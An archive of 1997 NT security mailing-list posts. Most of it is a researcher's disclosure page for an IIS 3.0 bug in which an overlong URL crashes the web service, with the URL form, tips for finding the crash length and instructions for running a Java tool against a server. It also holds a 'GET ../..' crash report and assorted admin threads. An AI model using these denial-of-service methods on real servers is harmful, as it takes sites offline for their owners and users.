 turn out interesting or not, but there's no way to tell until I try
 it.

 6-19-97
 ~3:30 PM CST I contact News Editor Michael Parsons at the trade
 publication InfoWorld and tell him a strange story of a bug I've found
 in IIS that allows any remote user to shut down an IIS web server.
 Michael sounds keenly interested and I promise to send him additional
 information and the program I've written to reproduce the bug shortly.
 About 20 minutes later I send the email.
 6-19-97
 4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the
 bug. He sounds nervous to me and wants to get straight to the point. I
 tell him that I'll send along the email I sent to InfoWorld along with
 the program. He sounds skeptical, but accepts. He seems to think that
 this is probably a bug Microsoft has already addressed in a service
 pack or a hotfix. I'm not so sure. Let's wait and see.
 6-19-97
 ~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional
 questions about the bug for an upcoming news release. She says she's
 been able to reproduce the bug and wonders how it may affect other web
 services in IIS like FTP. I agree to send my program to her so she can
 use it to reproduce the problem. She's very friendly and helpful.
 6-19-97
 5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's
 reproduced the problem on her test machines and will be assessing the
 bug related to other World Wide Web services under IIS. She's stated
 that one of her test machines crashed altogether, a situation she's
 called "potentially...quite serious".
 6-19-97
 5:55 PM CST News is spreading like wildfire. Another journalist at
 InfoWorld in Seattle calls and interviews me on the phone about the
 nature of the bug. He asks if the bug would occur during normal usage
 of the server and I said it probably would not due to the length of
 the string.





 More Info?

 As more information on this problem comes to light, I'll post it here.
 Keep coming back to check out the latest news.







 What's with the name?

 I named this website after the title of this message from an old
 friend, upon hearing the news:

 "You're walking the fine line between info-terrorist and "just another
 guy looking to help mankind". Here's a tip: if you'd like to be
 labeled info-terrorist, send an e-mail to Microsoft like those Danish
 guys that found the Netscape security flaw. I think the e-mail
 actually said, "OK, where's the guy with the checkbook". Then you
 could adopt some crazy online name like 'LordChaos' or 'DethKing' like
 those Undernet software pirates do.

 "P.S. If this blows up and I get interviewed, you can count on me
 saying all kinds of awful stuff: 'He was a loner. He read Soldier of
 Fortune a whole lot.' Then I'd throw in a curveball to make people
 really wonder: 'He would get really upset whenever 'The Tick' episode
 was a rerun and would launch a new computer virus".

 I promise it's not all true.





 Parting Words

 A colleague had the good sense to remind of something I'd almost
 forgotten before today:

 You get what you pay for



 Copyright C 1997 by Todd Fast. All rights reserved.
 Contact the author, Todd Fast, at tfast@eden.com

>From http://www.microsoft.com/iis/iisnews/hotnews/issue_tb.htm

What Microsoft is doing

 Microsoft has provided a patch that protects against this type of 
attack. The patch has been made available through the following means:

 Hot-fix for this specific issue, available on the Microsoft Web site 
today at:

 
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix



Hi

Resource kit server 4.0 and the tool caller "addusers.exe" :-)

Have a nice day
Patrik

-----Original Message-----
From: nobel Nakagama [SMTP:neal@cpcug.org]
Sent: Samstag, 21. Juni 1997 02:16
To: ntsecurity@iss.net
Subject: [NTSEC] Command line utility to check on machines local group

Does anyone know of a utility that will print out the local groups for a
machines. 
I have only found utilites for global groups.

 Thanks. 

Hi

Resource kit server 4.0 and the tool caller "addusers.exe" :-)

Have a nice day
Patrik

-----Original Message-----
From: nobel Nakagama [SMTP:neal@cpcug.org]
Sent: Samstag, 21. Juni 1997 02:16
To: ntsecurity@iss.net
Subject: [NTSEC] Command line utility to check on machines local group

Does anyone know of a utility that will print out the local groups for a
machines. 
I have only found utilites for global groups.

 Thanks. 


-----Original Message-----
From: Aleph One [SMTP:aleph1@DFW.NET]
Sent: Saturday, June 21, 1997 1:03 PM
To: BUGTRAQ@NETSPACE.ORG
Subject: http://www.eden.com/~tfast/jihad.html

 CyberJihad

 The Microsoft IIS Bug

 My chronicle of finding a most embarrassing bug

 by Todd Fast

 ________________________________________________________



 The Story

 My name is Todd Fast, and I found a bug today. I found it while trying
 to determine the maximum length of a URL Microsoft's Internet
 Information Server (IIS) would accept without an error. This website
 is dedicated to this bug and my chronicle of it.

 In case you haven't heard the details, there's a bug in Microsoft's
 Internet Information Server on Windows NT (and possibly other
 platforms) that allows a remote user--any user--to shut down the web
 server, and consequently the web site, using nothing more than a web
 browser.

 This is a hugely embarrassing bug for Microsoft in my opinion,
 particularly since they've just been lauded for pulling ahead of
 Netscape in Web server market. Knowing that anyone with a grudge and a
 twitchy keyboard could shut down any of their customer's web sites
 must bear horribly on their collective conscience. (Ask yourself, was
 that sarcasm?)





 The Bug

 I know you can't wait to know more, so here are the nitty-gritty
 details on the actual bug, from the original message I sent to
 InfoWorld:

 I've found a severe bug that allows any remote user on the Internet to
 halt web services on an Microsoft NT 4.0 server running Microsoft's
 Internet Information Server version 3. This bug appears to unaffected
 by the installation of Service Pack 3.

 Let me explain the details of the bug and how I came across it. The
 bug surfaces when a remote user requests a Web URL from the IIS server
 that contains a certain number of characters (I'll call this number
 the "bug threshold") and is of the following form:

 http:///?something=XXXXXXXX...

 To cause the fatal error, this URL should contain a CGI name/value
 pair of a certain length. Note that the user does not have to request
 any specific document: the error occurs because of the length of the
 URL alone. Apparently, this bug only appears when using Netscape
 Navigator to contact the server because Internet Explorer won't allow
 such a long URL to be sent.

 The length of the URL required to cause a crash is specific to each
 server, but seems to hover around 8K. Finding the correct length to
 kill an IIS server requires trial and error. I've found that URLs
 above the bug threshold return a "404 Object Not Found" or similar
 error. Below the threshold, the requested page loads properly.
 However, sending a URL who's length is exactly the bug threshold
 causes the server to stop responding.

 When a user sends this URL to an IIS web server, it causes an access
 violation in the INETINFO.EXE process. We don't know what this small
 8k process's role is in the server's operation, but when it fails, it
 causes the WWW service under IIS to stop. The site administrator must
 then clear the error and restart the service to continue operation.
 The bug does not always appear upon the first document request, but
 repeated application will eventually cause INETINFO.EXE to fail.

 A colleague, Bill Chaison, has studied the Dr. Watson log file and
 offers more information on the location of the error in the
 INETINFO.EXE process:

 "This particular GPF occurred at 0x77A07614 on our server. The
 offending application is INETINFO.EXE, one of IIS 3.0's components.
 The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a,
 SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a
 string compare function which caused a read fault during an iteration
 of the CMPSB (compare string byte by byte) opcode. This opcode works
 off of ESI and EDI as its base pointers and ECX as its loop repeater.
 I suspect that either ECX was either miscalculated to begin with, or
 ESI or EDI went out of range and caused a protection exception. The
 Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault
 when the message box popped up. The log file below confirms the
 address of the error. Search the file for "FAULT ->" to jump to its
 description."

 See the attached file IISCRASH.TXT file for the stack dump.

 I discovered the bug while trying to determine the maximum length of
 the URL IIS would accept. While doing so, I found that our in-house
 server stopped responding. Not realizing that this was a bug that
 affected all copies of IIS, I continued my investigation using
 Microsoft's site, www.microsoft.com, and inadvertently shut down their
 web server as well. At this point I realized that the error was indeed
 a bug that affected IIS itself.

 To my knowledge, this bug has never been exploited or been used to
 crash or deny service from any web site. However, just because I spoke
 up about it doesn't mean that someone else hasn't already found or
 been using it. All you webmasters out there using IIS, have you had
 any strange crashes lately?





 Are you a CyberTerrorist?

 If so, please don't start your own CyberJihad by downloading the
 following program and easily reproducing this bug on any number of IIS
 servers all over the Internet. The Internet Worm was bad enough, and
 that is not my intent.

 I'm making this program available so that those of you running IIS can
 more easily assess your web server's vulnerability and whether this
 bug would do anything more than deny your customers service (as if
 that's not bad enough).

 Remember this program doesn't do anything special or sneaky, it just
 makes the job of finding the already-existing bug on a particular
 server somewhat easier. It does nothing that someone couldn't do in
 about 5 minutes with a browser anyway, so please, no hate mail from
 webmasters for making it available. Instead, blame Microsoft's bug.

 Here are the details:

 I created a small Java program, called IIServerSlayer, that repeatedly
 hits a web server with a varying length URL until the web server stops
 responding due to the IIS bug. To run the program, first ensure that
 you have Java 1.0.2 installed on your machine and running properly.
 Put the IIServerSlayer.class file in a directory and open a command
 window located at that directory. Use the following command line:

 java -classpath .;%classpath% IIServerSlayer 
 

 We use a starting URL length of between 8200 and 8300 to crash our
 server, but one of our servers crashed in a much lower range of around
 4000 bytes. Trial and error is the only way to determine the threshold
 and I suggest starting at a length of 8300. Also, don't use http:// in
 front of the server name; the program does that for you.

 One of the things to note about the program is that it can't really
 detect if the web request is being served properly. Because the bug
 doesn't always surface on the first document request with the
 problematic URL, the program only decrements the length counter if an
 error occurs, but assumes that server is about to crash if an error
 doesn't occur and the counter has remained the same. This means that
 if you start the program and don't see a series of lines like the
 following:

 Trying length xxxx...Done
 Trying length xxxx...Done
 Trying length xxxx...Done
 ...

 and instead see this:

 Almost dead! Retrying length xxxx...Done
 Almost dead! Retrying length xxxx...Done
 Almost dead! Retrying length xxxx...Done

 you have started with too low a URL length and need to Ctrl-C the
 program and restart it with a higher length. When the program pauses
 for more than a few seconds on a particular statement, you can be sure
 that the web server has died. When you go to the web server and clear
 the error, IIServerSlayer detects that the error occurred and gives
 you a message stating so.

 Download a copy of IIServerSlayer for personal, non-malicious use





 Chronicle

 Because the Internet's relevance to our existence is access to timely
 information, I'm posting the chronicle of my experience with this bug
 below in as close to real time as I can. I don't know whether it will
 turn out interesting or not, but there's no way to tell until I try
 it.

 6-19-97
 ~3:30 PM CST I contact News Editor Michael Parsons at the trade
 publication InfoWorld and tell him a strange story of a bug I've found
 in IIS that allows any remote user to shut down an IIS web server.
 Michael sounds keenly interested and I promise to send him additional
 information and the program I've written to reproduce the bug shortly.
 About 20 minutes later I send the email.
 6-19-97
 4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the
 bug. He sounds nervous to me and wants to get straight to the point. I
 tell him that I'll send along the email I sent to InfoWorld along with
 the program. He sounds skeptical, but accepts. He seems to think that
 this is probably a bug Microsoft has already addressed in a service
 pack or a hotfix. I'm not so sure. Let's wait and see.
 6-19-97
 ~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional
 questions about the bug for an upcoming news release. She says she's
 been able to reproduce the bug and wonders how it may affect other web
 services in IIS like FTP. I agree to send my program to her so she can
 use it to reproduce the problem. She's very friendly and helpful.
 6-19-97
 5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's
 reproduced the problem on her test machines and will be assessing the
 bug related to other World Wide Web services under IIS. She's stated
 that one of her test machines crashed altogether, a situation she's
 called "potentially...quite serious".
 6-19-97
 5:55 PM CST News is spreading like wildfire. Another journalist at
 InfoWorld in Seattle calls and interviews me on the phone about the
 nature of the bug. He asks if the bug would occur during normal usage
 of the server and I said it probably would not due to the length of
 the string.





 More Info?

 As more information on this problem comes to light, I'll post it here.
 Keep coming back to check out the latest news.







 What's with the name?

 I named this website after the title of this message from an old
 friend, upon hearing the news:

 "You're walking the fine line between info-terrorist and "just another
 guy looking to help mankind". Here's a tip: if you'd like to be
 labeled info-terrorist, send an e-mail to Microsoft like those Danish
 guys that found the Netscape security flaw. I think the e-mail
 actually said, "OK, where's the guy with the checkbook". Then you
 could adopt some crazy online name like 'LordChaos' or 'DethKing' like
 those Undernet software pirates do.

 "P.S. If this blows up and I get interviewed, you can count on me
 saying all kinds of awful stuff: 'He was a loner. He read Soldier of
 Fortune a whole lot.' Then I'd throw in a curveball to make people
 really wonder: 'He would get really upset whenever 'The Tick' episode
 was a rerun and would launch a new computer virus".

 I promise it's not all true.





 Parting Words

 A colleague had the good sense to remind of something I'd almost
 forgotten before today:

 You get what you pay for



 Copyright C 1997 by Todd Fast. All rights reserved.
 Contact the author, Todd Fast, at tfast@eden.com
Hi all!!

 I was this morning checking some exploits, and I noticed GET ../.. has no patch.
I have installed NT4+SP3+OOB+ASP patches, and I can crash my NT with a telnet.

 Is a patch avaliable for GET ../..?


--
Roger Sen Montero 
Intercom Servicios Telematicos Avanzados, S.A
Cerdanyola del Valles, Barcelona

Hi all!!

 Ok! No problems... it seems the bug was succesfully corrected in SP3. 

Unfortunately, I cannot discover why my main machine still has this bug.

Wasted bandwith 
--
Roger Sen Montero 
Intercom Servicios Telematicos Avanzados, S.A
Cerdanyola del Valles, Barcelona

Sorry, but I was not able to reproduce it...

Romulo Moacyr Cholewa - MCT, MCSE. ICQ UIN: 832755
mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa

"Strong cryptography makes the world a safer place."
A msg secreta no desafio do RSA DES. DES morto em 17/06/97
 ----
From: Roger Sen Montero 
To: ntsecurity@iss.net
Date: Segunda-feira, 23 de Junho de 1997 06:44
Subject: [NTSEC] GET ../..

Check our new domain names!
http://www.netforward.com
v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v

Hi all!!

I was this morning checking some exploits, and I noticed GET ../.. has no
patch.
I have installed NT4+SP3+OOB+ASP patches, and I can crash my NT with a
telnet.

Is a patch avaliable for GET ../..?


--
Roger Sen Montero 
Intercom Servicios Telematicos Avanzados, S.A
Cerdanyola del Valles, Barcelona




 Doesn't su.exe in the NT resource kit provide the same
 capabilities?
 \ntreskit\su.exe administrator cmd
 spawns a cmd.exe box with administrator as the ID (using the
 \ntreskit\whoami.exe
 utility).
 
 Of course to be able to use su.exe one must already have
 extraordinary privileges (TCB, CREATE_PRIMARY_TOKEN). That
 means the "administrator" or "administrators group" goes
 around all the time with these privileges allowed and possibly
 enabled (which seems to me not a good thing.)
 
 If you have found a way to avoid these things, then great.

 Ed


According to Wood, Jeremy, SrA, SAF/AADXO:
> 
> Can I get a copy of the utility you wrote? I haven't seen anything else 
> like it.
> 
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Jeremy A Wood, SrA, USAF
> Office of the Secretary
> Directorate of Departmental Publishing
> 
> Email: jwood@af.pentagon.mil
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> -----Original Message-----
> From: Philip Boutros [SMTP:Philip_Boutros@inso.com]
> Sent: Friday, June 20, 1997 4:33 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Running browser as non-privlaged user
> 
> 
> Hi
> 
> Over the last few days I have written a small Windows NT program (RUNAS.
> EXE) that lets you execute any command line as a different user, even if
> you are logged on as Administrator. I use it to run my browser as a user
> with minimal access while the rest of my desktop acts as Administrator.
> Have I reinvented the wheel? Is a program like this available elsewhere?
> 
> Phil Boutros
> Senior Technology Architect
> Inso Corporation
> pboutros@inso.com
> 
> 
> 
> 
> begin 600 WINMAIL.DAT
> M>)\^(A\1`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
> M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0F `0`A````1#@T13 M0S%"0T5"1# Q,4%",C0P,$$P0SDU1$1$13(`9 M`"\`%@`!`$0!`06 `P`.````S0<&`!<`!P`Z`"4``0!8`0$-@ 0``@````(`
> M`@`!!( !`#(```!213H@6TY44T5#72!2=6YN:6YG(&)R;W=S97(@87,@;F]N
> M+7!R:79L86=E9"!U M``! `#D`<'J2R,Q_O $>`' ``0```#(```!213H@6TY44T5#72!2=6YN:6YG
> M(&)R;W=S97(@87,@;F]N+7!R:79L86=E9"!U M`;Q_S,@;P71.VNN\$="K) "@R5W=X@```P`&$%#&0Q,#``<0L (``!X`"! !
> M````90```$-!3DE'151!0T]064]&5$A%551)3$E465E/55=23U1%/TE(059%
> M3E13145.04Y95$A)3D=%3%-%3$E+14E42D5214U905=/3T0L4U)!+%53049/
> M1D9)0T5/1E1(15-%0U)%5$$``````P`0$ `````#`!$0``````(!"1 !````
> MKP,``*L#``!E!0``3%I&=9Z>(0@#``H` M@F@*P'-E=# @!Q.'`H,`4 ^V<')Q,A"V9GT*@ C((#L);PXP-;,"@ J!=6,`
> M4 L#8P!!10M@;@X0,#,S"Z8@(D,#D4D@9Q" (&$"( 6@<'D@;V8@0'1H92!U
> M= ,0:4IT&!!Y"& @=P-@=*QE/Q=1$$!V"? G!4!G$' )\!>P;GD88 N 9Z@@
> M96P0<" 8T&L8@-T8X"X*H@J$'&9^'4\=^"4<)$H$D&5M&!!!()17;P1P+ 8`
> M M&")$90JQ= > `C '0'@@4'4"8 0`&P(<*D5#`, #$#H@:G<@`4!0868N<"1R
> M9P(@+GYM`Q <[RC_'"X+,!C0,_XV`4 5T % $@`9@2-0$410,38@+2S23P40
> M9ZL+@"2A30>0 M MY&\N!:!M71PE,: &8(<",#(', M<"3 3;DU9U1O,@<",!!P8PAQ]QCP-, $$"XW8"PP-7 MO$-=!_ W4 ,`&R%B`V!6=Q!P! 9!B0/<'?+G\O
> MBBLT"[8<.4@`H!PY7D\:$ 7 &&(+8',%0&;_!]$V\00@&=0941C@&9 :H:L:
> M8 # ; ,@5PN 9#VA&0>P5" KT0G 86T@0"A254Y!4QP51?A812D842.0&Y 0
> M@ 0@>1DB97@Z`2.A&L$7T6V_`X$^\!C0-V$^`1? 9 :0WT1P"7 ",#\#(#!E
> M&A$;X/YF'"09(@K &X%'0#[2`B#Y/?)!9"? `P!$0".!!; >+A=1/Q$;X1A0
> M;R!R_3=0(!^A/8D7P#\8`_ 88&]0@$[11B$7L&,A@ 01=_\RH1B &&()<$1!
> M&#$?H0$`_'-K(V RX #023%.?T)5_T4R%V )< N &A$9D#[P&&+[4W )X&P9
> ML4M"1R8;HQKQ_4M!=B91`:!3H1M26&$)<+X_'"HRDC+V'"0U\6D%L;I4!9!H
> M/C!-T1^Q M8T ``P" $/____\+``. "" &``````# ````````1@`````#A0````#__P,`
> M!8 (( 8``````, ```````!&`````!"%`````````P``@ @@!@``````P ``
> M`````$8`````4H4``+<-```>``& "" &``````# ````````1@````!4A0``
> M`0````0````X+C ``P`"@ @@!@``````P ```````$8``````84````````+
> M``2 "" &``````# ````````1@`````.A0````````,`!H (( 8``````, `
> M``````!&`````!&%`````````P`(@ @@!@``````P ```````$8`````&(4`
> M```````>``F "" &``````# ````````1@`````VA0```0````$`````````
> M'@`*@ @@!@``````P ```````$8`````-X4```$````!`````````!X`"X (
> M( 8``````, ```````!&`````#B%```!`````0`````````#`"8```````,`
> M-@```````@'Y/P$````>`````````-RG0,C 0A :M+D(`"LOX8(!````````
> M`"X````>`/@_`0```!4```!3>7-T96T@061M:6YI M`0```!X`````````W*= R,!"$!JTN0@`*R_A@@$`````````+@```!X`^C\!
> M````%0```%-Y M"##8,M2 _7^\`0,`#33]/P```@$4- $````0````5)2AP"E_$!NEAP@`*RHE
> M%QX`/0`!````!0```%)%.B `````"P`I```````+`",```````(!?P`!````
> M30```#QC/553)6$]871T;6%I;"5P/6=O=BMD;7,K=')A;G,E;#U$35,O1$90
> I14Y404=/3B\P,#!!,S,W1$!$1D1#,# T+DA1+D%&+DU)3#X`````,M0O
> `
> end
> 


-- 
Ed Bradford
NT Architecture M/S 9170
Software Solutions Div. Integrated Solutions Architecture
egb@austin.ibm.com 11400 Burnet Rd
Phone: T/L 678-1421 Austin,Tx, 78758
Real Phone 512-838-1421 FAX 512-838-2212

If you have taken any tests through Sylvan Prometric (formerly Drake Prometric) 
you will appreciate this information.

Sylvan Prometric is the monopoly that currently controls all authorized testing 
and monitors certification for Microsoft, Novell, IBM, Lotus, and several other 
companies. If you've ever taken any type of computer industry test for 
certification you have dealt with Sylvan.

Today I went to take my scheduled test for Windows NT 4.0 Workstation. After 
having studied for this test over the last couple of weeks I felt prepared and 
confident I would pass the test. When I arrived at the Authorized Sylvan Test 
Facility (a local Authorized Technical Education Center) I discovered the test 
had not been downloaded to the facility. I figured that was ok since it had 
happened many times before and we would just call Sylvan and have them download 
the test. Well after speaking with a Customer Service Rep and getting no 
helpful response, I requested to speak with a manager. I was then connected 
with David Breece (800-755-3926 extension 5280) who informed me that the 
computers which perform the export had been down all weekend and they were 
attempting to bring them up. I told David this was unacceptable and asked what 
I could do in the future to prevent this from happening again since it had 
happened to me several times before. I have also spoken with many of my peers 
and associates who mentioned having the same problems with Sylvan.

Basically, he said there was nothing he or I could do. I said, "Wrong." I asked 
him what his position at Sylvan was and requested to speak with someone who 
had the authority to do something about this situation. He told me he was an 
assistant manager or something like that. He asked me what I thought would be a 
good solution for this problem. I said that several things should be done:
a) Sylvan is supposed to be a technologically advanced company and they should 
fix their computer systems (the term "redundancy" comes to mind)
b) if they can't fix them then they should fire the people in charge of those 
systems and get people who can fix them
c) they should immediately refund every person's charge for each and every test 
that was scheduled and not delivered on time to the proper testing facility

He said he couldn't do anything about the computer systems but he could refund 
my money and get me scheduled for another test this week. I was not satisfied 
with that but took it anyway. There was another gentleman in the testing 
facility office whose test had also not been downloaded. This person was 
rescheduled and refunded $100 for the Microsoft test.

After that I told David Breece I was an active member of the Atlanta NPA, had 
many peers who dealt with the certification exams, and would pass the 
information along to as many people as I could. I want Sylvan to pay for as 
many reschedules as possible.

So, if you have experienced a similar situation with Sylvan and wish to get 
refunded the amount you paid for your test, please give David Breece a call at 
800-755-3926 extension 5280. I can't guarantee your results but at least it is 
worth a try. If you do call him please send the results of your conversation to 
me at cnebody@mindspring.com.

Joel W. Barrett
Atlanta NPA Lab Chairman

PS: It is my understanding that another company called VIEW is going to make an 
announcement on July 1 concerning competitive options to Sylvan Prometric. 
Let's keep our fingers crossed.


--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



su.exe raises the logged in user's privilege level to that of admin, they're 
interested in making the browser appear to be logged in as a lesser user while 
actually logged in as an Administrator. The goal is to keep malicious 
web-sites from glomming your admin password.

----------
From: owner-ntsecurity@iss.net on behalf of egb@austin.ibm.com
Sent: Monday, June 23, 1997 1:35 PM
To: jwood@af.pentagon.mil
Cc: ntsecurity@iss.net
Subject: Re: [NTSEC] Running browser as non-privlaged user


 Doesn't su.exe in the NT resource kit provide the same
 capabilities?
 \ntreskit\su.exe administrator cmd
 spawns a cmd.exe box with administrator as the ID (using the
 \ntreskit\whoami.exe
 utility).
 
 Of course to be able to use su.exe one must already have
 extraordinary privileges (TCB, CREATE_PRIMARY_TOKEN). That
 means the "administrator" or "administrators group" goes
 around all the time with these privileges allowed and possibly
 enabled (which seems to me not a good thing.)
 
 If you have found a way to avoid these things, then great.

 Ed


According to Wood, Jeremy, SrA, SAF/AADXO:
> 
> Can I get a copy of the utility you wrote? I haven't seen anything else 
> like it.
> 
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Jeremy A Wood, SrA, USAF
> Office of the Secretary
> Directorate of Departmental Publishing
> 
> Email: jwood@af.pentagon.mil
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> -----Original Message-----
> From: Philip Boutros [SMTP:Philip_Boutros@inso.com]
> Sent: Friday, June 20, 1997 4:33 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Running browser as non-privlaged user
> 
> 
> Hi
> 
> Over the last few days I have written a small Windows NT program (RUNAS.
> EXE) that lets you execute any command line as a different user, even if
> you are logged on as Administrator. I use it to run my browser as a user
> with minimal access while the rest of my desktop acts as Administrator.
> Have I reinvented the wheel? Is a program like this available elsewhere?
> 
> Phil Boutros
> Senior Technology Architect
> Inso Corporation
> pboutros@inso.com
> 
> 
> 
> 
> begin 600 WINMAIL.DAT
> M>)\^(A\1`0:0" `$```````!``$``0>0!@`(````Y 0```````#H``$(@ <`
> M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0F `0`A````1#@T13 M0S%"0T5"1# Q,4%",C0P,$$P0SDU1$1$13(`9 M`"\`%@`!`$0!`06 `P`.````S0<&`!<`!P`Z`"4``0!8`0$-@ 0``@````(`
> M`@`!!( !`#(```!213H@6TY44T5#72!2=6YN:6YG(&)R;W=S97(@87,@;F]N
> M+7!R:79L86=E9"!U M``! `#D`<'J2R,Q_O $>`' ``0```#(```!213H@6TY44T5#72!2=6YN:6YG
> M(&)R;W=S97(@87,@;F]N+7!R:79L86=E9"!U M`;Q_S,@;P71.VNN\$="K) "@R5W=X@```P`&$%#&0Q,#``<0L (``!X`"! !
> M````90```$-!3DE'151!0T]064]&5$A%551)3$E465E/55=23U1%/TE(059%
> M3E13145.04Y95$A)3D=%3%-%3$E+14E42D5214U905=/3T0L4U)!+%53049/
> M1D9)0T5/1E1(15-%0U)%5$$``````P`0$ `````#`!$0``````(!"1 !````
> MKP,``*L#``!E!0``3%I&=9Z>(0@#``H` M@F@*P'-E=# @!Q.'`H,`4 ^V<')Q,A"V9GT*@ C((#L);PXP-;,"@ J!=6,`
> M4 L#8P!!10M@;@X0,#,S"Z8@(D,#D4D@9Q" (&$"( 6@<'D@;V8@0'1H92!U
> M= ,0:4IT&!!Y"& @=P-@=*QE/Q=1$$!V"? G!4!G$' )\!>P;GD88 N 9Z@@
> M96P0<" 8T&L8@-T8X"X*H@J$'&9^'4\=^"4<)$H$D&5M&!!!()17;P1P+ 8`
> M M&")$90JQ= > `C '0'@@4'4"8 0`&P(<*D5#`, #$#H@:G<@`4!0868N<"1R
> M9P(@+GYM`Q <[RC_'"X+,!C0,_XV`4 5T % $@`9@2-0$410,38@+2S23P40
> M9ZL+@"2A30>0 M MY&\N!:!M71PE,: &8(<",#(', M<"3 3;DU9U1O,@<",!!P8PAQ]QCP-, $$"XW8"PP-7 MO$-=!_ W4 ,`&R%B`V!6=Q!P! 9!B0/<'?+G\O
> MBBLT"[8<.4@`H!PY7D\:$ 7 &&(+8',%0&;_!]$V\00@&=0941C@&9 :H:L:
> M8 # ; ,@5PN 9#VA&0>P5" KT0G 86T@0"A254Y!4QP51?A812D842.0&Y 0
> M@ 0@>1DB97@Z`2.A&L$7T6V_`X$^\!C0-V$^`1? 9 :0WT1P"7 ",#\#(#!E
> M&A$;X/YF'"09(@K &X%'0#[2`B#Y/?)!9"? `P!$0".!!; >+A=1/Q$;X1A0
> M;R!R_3=0(!^A/8D7P#\8`_ 88&]0@$[11B$7L&,A@ 01=_\RH1B &&()<$1!
> M&#$?H0$`_'-K(V RX #023%.?T)5_T4R%V )< N &A$9D#[P&&+[4W )X&P9
> ML4M"1R8;HQKQ_4M!=B91`:!3H1M26&$)<+X_'"HRDC+V'"0U\6D%L;I4!9!H
> M/C!-T1^Q M8T ``P" $/____\+``. "" &``````# ````````1@`````#A0````#__P,`
> M!8 (( 8``````, ```````!&`````!"%`````````P``@ @@!@``````P ``
> M`````$8`````4H4``+<-```>``& "" &``````# ````````1@````!4A0``
> M`0````0````X+C ``P`"@ @@!@``````P ```````$8``````84````````+
> M``2 "" &``````# ````````1@`````.A0````````,`!H (( 8``````, `
> M``````!&`````!&%`````````P`(@ @@!@``````P ```````$8`````&(4`
> M```````>``F "" &``````# ````````1@`````VA0```0````$`````````
> M'@`*@ @@!@``````P ```````$8`````-X4```$````!`````````!X`"X (
> M( 8``````, ```````!&`````#B%```!`````0`````````#`"8```````,`
> M-@```````@'Y/P$````>`````````-RG0,C 0A :M+D(`"LOX8(!````````
> M`"X````>`/@_`0```!4```!3>7-T96T@061M:6YI M`0```!X`````````W*= R,!"$!JTN0@`*R_A@@$`````````+@```!X`^C\!
> M````%0```%-Y M"##8,M2 _7^\`0,`#33]/P```@$4- $````0````5)2AP"E_$!NEAP@`*RHE
> M%QX`/0`!````!0```%)%.B `````"P`I```````+`",```````(!?P`!````
> M30```#QC/553)6$]871T;6%I;"5P/6=O=BMD;7,K=')A;G,E;#U$35,O1$90
> I14Y404=/3B\P,#!!,S,W1$!$1D1#,# T+DA1+D%&+DU)3#X`````,M0O
> `
> end
> 


-- 
Ed Bradford
NT Architecture M/S 9170
Software Solutions Div. Integrated Solutions Architecture
egb@austin.ibm.com 11400 Burnet Rd
Phone: T/L 678-1421 Austin,Tx, 78758
Real Phone 512-838-1421 FAX 512-838-2212


I was stuck with a very annoying problem last night!

A customer installed NT 4.0 WKS on a machine about 3 months
ago, but did not join it to their domain, instead they used
a workgroup with the same name as the domain.

They are now installing Exchange and so I come on the scene,
asking them to join the machine into the domain so Exchange
Client can use network security.

Firstly we could not swap directly from a workgroup to a domain
with the same name, so we swapped to workgroup WORKGROUP first
and then to the domain. Logged in as the same user name as always,
but now from the domain and not the local machine, so a new user profile
was created.

The problem is that user can't change any desktop settings, for instance
drive mappings can be made, but not permanent ones. A message pops
up saying we are unable to save changes.

What is going on???

Thanks
Rob Barnes

--
Robert Barnes E-mail : rab@stallion.oz.au
Phone : +61 7 3270 4268 (direct) Fax : +61 7 3270 4245
Stallion Technologies
33 Woodstock Rd, Toowong, QLD 4066, Australia
See our Web site at http://www.stallion.com/
PGP Key ID: 1A4F626D
 Key Fingerprint: 02 A6 22 5E 26 D3 7C 4D E2 91 9E 15 AC EA B1 58
For Public Key send mail with "Subject: sendpgpkey"
 or search Public Key Servers
--

 While a goal may be to keep sites from grabbing your password,
something that's more important
to me is that any ActiveX or Java applet that I run has full run of the
system if it's run as me. It'd
be much safer to run it as sludge-man, who has minimal rights on my
machine. That way if I did
catch something malicious, it would only be able to do minimal damage.

Mike "Special Agent of Chaos" Swaim
Work: mpswaim@gdseng.com Home: swaim@phoenix.net
Disclaimer: I Lie

> -----Original Message-----
> From: James Strompolis [SMTP:Jim_St@msn.com]
> Sent: Monday, June 23, 1997 3:55 PM
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Running browser as non-privlaged user
> 
> su.exe raises the logged in user's privilege level to that of admin,
> they're 
> interested in making the browser appear to be logged in as a lesser
> user while 
> actually logged in as an Administrator. The goal is to keep malicious
> 
> web-sites from glomming your admin password.
> 
At 07:05 AM 6/24/97 +1000, Robert Barnes wrote:
>I was stuck with a very annoying problem last night!
>
>A customer installed NT 4.0 WKS on a machine about 3 months
>ago, but did not join it to their domain, instead they used
>a workgroup with the same name as the domain.
>
>They are now installing Exchange and so I come on the scene,
>asking them to join the machine into the domain so Exchange
>Client can use network security.
>
>Firstly we could not swap directly from a workgroup to a domain
>with the same name, so we swapped to workgroup WORKGROUP first
>and then to the domain. Logged in as the same user name as always,
